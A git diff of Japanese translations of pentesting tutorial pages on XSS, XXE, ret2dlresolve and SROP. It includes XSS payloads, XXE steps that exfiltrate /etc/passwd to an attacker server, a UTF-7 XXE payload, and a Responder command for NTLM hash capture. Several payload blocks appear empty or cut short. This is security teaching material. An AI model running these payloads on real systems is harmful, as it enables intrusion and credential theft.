XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。 +ユーザーが自分のプロフィールを管理者と共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。 ### セッションミラーリング @@ -776,7 +776,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ **反映された値**がサーバー(またはクライアント側)で**Unicode正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここに例があります**](../unicode-injection/#xss-cross-site-scripting)。 -### PHP FILTER_VALIDATE_EMAILフラグバイパス +### PHP FILTER_VALIDATE_EMAILフラグのバイパス ```javascript ">"@x.y ``` @@ -787,7 +787,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -ペア "Key","Value" は次のようにエコーされます: +ペア「Key」「Value」は次のようにエコーされます: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -825,18 +825,18 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS with header injection in a 302 response -もし**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。 +もし**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。 -[**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\ -過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。 +[**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\ +過去の既知のプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。 ### Only Letters, Numbers and Dots -もし**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](./#javascript-function)ことで、この動作を悪用する方法を見つけることができます。 +もし、JavaScriptが**実行する**ための**コールバック**をこれらの文字に制限して指定できる場合。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。 ### Valid ` ``` -この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。 +この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができるように使用されました。 -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります: ```html "> @@ -1469,9 +1471,9 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
``` -### Regex - 隠されたコンテンツへのアクセス +### Regex - 隠れたコンテンツへのアクセス -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) では、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。たとえば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます: +[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、REGEXの入力値が削除された後でも見つけることができます: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1490,7 +1492,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ``` ### ブルートフォースリスト -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt +{{#endref}} ## 他の脆弱性を悪用したXSS @@ -1504,7 +1508,7 @@ xss-in-markdown.md ### SSRFへのXSS -**キャッシングを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください: +**キャッシュを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください: ```python ``` @@ -1530,11 +1534,11 @@ pdf-injection.md AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントをサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。 -### XSSファイルのアップロード(svg) +### ファイルのアップロードにおけるXSS(svg) 次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から): ```markup diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index d4ae33024..3952a4cc6 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -4,13 +4,13 @@ ## XMLの基本 -XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用する柔軟な構造を特徴としています。XMLは、あらかじめ定義されたタグのセットに制限されない点でHTMLとは異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。 +XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用できる柔軟な構造を特徴としています。XMLは、あらかじめ定義されたタグのセットに制限されない点でHTMLとは異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。 -- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはそれぞれ`<`と`>`に対応し、XMLのタグシステムとの衝突を避けます。 -- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類から特定の子要素まで、さまざまな内容を含むことができます。 +- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<`や`>`に対応しています。 +- **XML要素の定義**: XMLは要素の型を定義することを許可し、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のものから特定の子要素までさまざまです。 - **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。DTDは内部、外部、またはその組み合わせであり、文書のフォーマットと検証方法をガイドします。 - **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: ` ]>` -- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。 +- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を許可し、脆弱性を確認します。 - ` ]>` - ` ]>` @@ -43,7 +43,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ ``` ![](<../images/image (86).png>) -この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggerのラボではない)。 +この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggersラボの場合ではありません)。 ```xml ]> @@ -65,7 +65,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ ### ディレクトリリスト -**Java** ベースのアプリケーションでは、XXEを使用してペイロードのように(ファイルではなくディレクトリを要求することで)**ディレクトリの内容をリストする**ことが可能な場合があります: +**Java** ベースのアプリケーションでは、XXEを使用して **ディレクトリの内容をリストする** ことが可能な場合があります。ペイロードは次のようになります(ファイルの代わりにディレクトリを要求するだけです): ```xml ]>&xxe; @@ -75,7 +75,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ ``` ### SSRF -XXEは、クラウド内のSSRFを悪用するために使用される可能性があります。 +XXEを使用して、クラウド内のSSRFを悪用することができます。 ```xml ]> @@ -83,15 +83,15 @@ XXEは、クラウド内のSSRFを悪用するために使用される可能性 ``` ### Blind SSRF -**以前にコメントされた技術**を使用すると、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。それが機能しない場合、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメーターエンティティ**を使用してみることができます: +**以前にコメントされた技術**を使用すると、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができますが、うまくいかない場合は、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメータエンティティ**を使用してみることができます: ```xml %xxe; ]> 3;1 ``` -### "Blind" SSRF - 外部帯域外でデータを抽出する +### "Blind" SSRF - データをアウトオブバンドで抽出する -**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストで送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** +**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストで送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** 与えられた悪意のあるDTDでは、データを抽出するために一連の手順が実行されます: @@ -121,7 +121,7 @@ XXEは、クラウド内のSSRFを悪用するために使用される可能性 %xxe;]> 3;1 ``` -このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。 +このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、DTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。 ### エラーベース(外部DTD) @@ -130,7 +130,7 @@ XXEは、クラウド内のSSRFを悪用するために使用される可能性 悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます: 1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。 -2. `eval` という名前のXMLパラメータエンティティが定義され、`error` という別のXMLパラメータエンティティの動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。 +2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。 3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。 4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd` ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。 @@ -148,7 +148,7 @@ _**外部DTDは、1つのエンティティを2番目のエンティティの中 ### **エラーに基づく(システムDTD)** -では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか? +では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか(外部接続が利用できない)? XML言語仕様の抜け穴は、**ドキュメントのDTDが内部および外部宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを引き起こすことを目指します。 @@ -171,7 +171,7 @@ XML言語仕様の抜け穴は、**ドキュメントのDTDが内部および外 - 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。 - `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。 -**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDがあることがよくあります。 +**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDがあることがよくあります。 ```xml ]> &xxe; ``` > [!CAUTION] -> 一時ディレクトリにファイルを書き込むことは、**パストラバーサルに関わる別の脆弱性をエスカレートするのに役立つ**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。 +> 一時ディレクトリにファイルを書くことは、**パストラバーサルに関わる別の脆弱性をエスカレートするのに役立つ**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。 ### XSS ```xml @@ -286,23 +288,23 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` -#### 二次的膨張攻撃 +#### 二次膨張攻撃 ![](<../images/image (527).png>) #### NTMLの取得 -Windowsホストでは、responder.pyハンドラーを設定することでウェブサーバーユーザーのNTMLハッシュを取得することが可能です: +Windowsホストでは、responder.pyハンドラーを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することが可能です: ```bash Responder.py -I eth0 -v ``` -以下のリクエストを送信することによって +次のリクエストを送信することによって ```xml ]> &example; ``` -その後、hashcatを使用してハッシュをクラッキングすることができます。 +その後、hashcatを使用してハッシュをクラックすることができます。 ## 隠れたXXEの出現 @@ -314,11 +316,11 @@ Responder.py -I eth0 -v ```xml productId=&storeId=1 ``` -Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! +チェックしてください [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) さらなる情報のために! ### SVG - ファイルアップロード -ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理される際に、XMLまたはXMLを含むファイル形式の取り扱いにおける脆弱性を悪用することがあります。一般的なファイル形式であるオフィス文書(DOCX)や画像(SVG)は、XMLに基づいています。 +ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理される際に、XMLまたはXMLを含むファイル形式の取り扱いにおける脆弱性を悪用することがあります。一般的なファイル形式であるオフィス文書(DOCX)や画像(SVG)はXMLに基づいています。 ユーザーが**画像をアップロード**すると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、**サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります**。XMLベースの形式であるSVGは、攻撃者によって悪意のあるSVG画像を提出するために悪用され、サーバーをXXE(XML外部エンティティ)脆弱性にさらすことができます。 @@ -334,13 +336,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ``` SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用され、堅牢な入力検証とセキュリティ対策の必要性を強調しています。 -Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! +詳細については[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)を確認してください! -**読み込まれたファイルの最初の行または実行結果は、作成された画像の中に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。** +**読み取ったファイルの最初の行または実行結果は、作成された画像の中に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。** ### **PDF - ファイルアップロード** -次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**: +次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**: {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md @@ -348,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md ### Content-Type: x-www-urlencodedからXMLへ -POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合: +POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded @@ -402,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8 ```xml %init; ]> ``` -これは、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。 +この方法は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。 ### UTF-7 -ここで \[**"Encode Recipe**" of cyberchef\] を使用して、UTF-7に変換できます。 +ここで \[**"Encode Recipe**" of cyberchef\]を使用して、UTF-7に変換できます。 ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -474,11 +476,11 @@ DTDの例: この例は[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)にインスパイアされています。 -XLIFF (XML Localization Interchange File Format)は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation)ツールの共通交換フォーマットとしても機能します。 +XLIFF (XMLローカリゼーションインターチェンジファイルフォーマット)は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (コンピュータ支援翻訳)ツールの共通交換フォーマットとしても機能します。 -### Blind Request Analysis +### ブラインドリクエスト分析 -サーバーに次の内容でリクエストが送信されます: +次の内容でサーバーにリクエストが送信されます: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -514,7 +516,7 @@ Content-Type: application/x-xliff+xml ``` このアプローチは、User AgentがJava 1.8の使用を示していることを明らかにします。このバージョンのJavaの制限の一つは、Out of Band技術を使用して、/etc/passwdのような改行文字を含むファイルを取得できないことです。 -Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています: +Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています: ```xml "> @@ -532,7 +534,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based %foo; %xxe; ``` -この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。 +この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML外部エンティティ)攻撃を示しています。 ## RSS - XEE @@ -671,7 +673,9 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す ``` ## ツール -{% embed url="https://github.com/luisfontes19/xxexploiter" %} +{{#ref}} +https://github.com/luisfontes19/xxexploiter +{{#endref}} ## 参考文献 @@ -684,5 +688,4 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md index efdf51fa8..78bf21a73 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md @@ -10,26 +10,28 @@ したがって、要求されたシンボル(例えば、**`system`**関数)を動的にリンクして解決し、設定されたパラメータ(例:**`system('/bin/sh')`**)で呼び出すために、**これらの構造体をすべて偽造する**ことが可能です。 -通常、これらの構造体は、書き込み可能なメモリ上で**`read`**を呼び出す**初期ROPチェーンを作成することによって偽造され、その後**構造体**と文字列**`'/bin/sh'`**が既知の場所に読み込まれるように渡され、次にROPチェーンは**`_dl_runtime_resolve`**を呼び出すことで続きます。 +通常、これらの構造体は、書き込み可能なメモリ上で**`read`を呼び出す初期ROPチェーンを作成することによって偽造され**、その後、**構造体**と文字列**`'/bin/sh'`**が渡され、既知の場所に保存されます。そして、ROPチェーンは**`_dl_runtime_resolve`**を呼び出すことで続行され、`$'/bin/sh'`へのアドレスが渡されます。 > [!TIP] -> この技術は、特にシステムコールガジェットがない場合([**ret2syscall**](rop-syscall-execv.md)や[SROP](srop-sigreturn-oriented-programming.md)などの技術を使用するため)やlibcアドレスを漏洩させる方法がない場合に便利です。 +> この技術は、特にシステムコールガジェットがない場合([**ret2syscall**](rop-syscall-execv.md)や[SROP](srop-sigreturn-oriented-programming.md)などの技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に便利です。 -この技術についてのより良い説明は、ビデオの後半で見つけることができます: +この技術に関するより良い説明は、ビデオの後半で見つけることができます: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## 構造体 -3つの構造体を偽造する必要があります:**`JMPREL`**、**`STRTAB`**、および**`SYMTAB`**。これらがどのように構築されるかについてのより良い説明は、[https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)にあります。 +3つの構造体を偽造する必要があります:**`JMPREL`**、**`STRTAB`**、および**`SYMTAB`**。これらの構造体がどのように構築されるかについてのより良い説明は、[https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)で確認できます。 ## 攻撃の概要 1. 偽の構造体をどこかに書き込む 2. systemの最初の引数を設定する(`$rdi = &'/bin/sh'`) 3. **`_dl_runtime_resolve`**を呼び出すために構造体へのアドレスをスタックに設定する -4. **呼び出す** `_dl_runtime_resolve` -5. **`system`**が解決され、`'/bin/sh'`を引数として呼び出される +4. **`_dl_runtime_resolve`**を呼び出す +5. **`system`**が解決され、引数として`'/bin/sh'`で呼び出される ## 例 diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md index 9903d803c..040546063 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md @@ -4,16 +4,16 @@ ## 基本情報 -**`Sigreturn`** は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な **syscall** です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために **シグナルハンドラ** という特別な関数を使用して、現在の作業を一時的に中断します。 +**`Sigreturn`** は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な **syscall** です。シグナルは、オペレーティングシステムからプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために **シグナルハンドラ** という特別な関数を使用して、現在の作業を一時的に中断します。 シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る** 必要があります。ここで **`sigreturn`** が登場します。これは、プログラムが **シグナルハンドラから戻る** のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。 -興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行われます。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタ(RSP)が含まれます。 +興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、現在のスタックのトップを指すスタックポインタレジスタ(RSP)が含まれます。 > [!CAUTION] -> ROPチェーンから **`sigreturn`** syscall を呼び出し、**スタックにロードしたいレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** し、したがって例えば `execve` syscall を `/bin/sh` で **呼び出す** ことが可能です。 +> ROPチェーンから **`sigreturn`** syscall を呼び出し、**レジスタ値を追加**することで、**スタック**にロードさせることができれば、すべてのレジスタ値を **制御** でき、したがって例えば `execve` syscall を `/bin/sh` で **呼び出す** ことが可能です。 -これは、他のRet2syscallを呼び出すためのパラメータを制御するのをはるかに簡単にする **Ret2syscallの一種** であることに注意してください: +これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる **Ret2syscallの一種** であることに注意してください: {{#ref}} rop-syscall-execv.md @@ -21,7 +21,9 @@ rop-syscall-execv.md より良い説明については、以下も確認してください: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## 例 diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index 65cfe82f4..e2d4772c6 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -12,9 +12,9 @@ オンライン: -- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して**デコンパイル**します(wasm(バイナリ)からwat(クリアテキスト)へ) -- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して**コンパイル**します(watからwasmへ) -- [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます +- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、**デコンパイル**を行い、wasm(バイナリ)からwat(クリアテキスト)に変換します。 +- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、**コンパイル**を行い、watからwasmに変換します。 +- [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルを試すこともできます。 ソフトウェア: @@ -25,7 +25,7 @@ ### 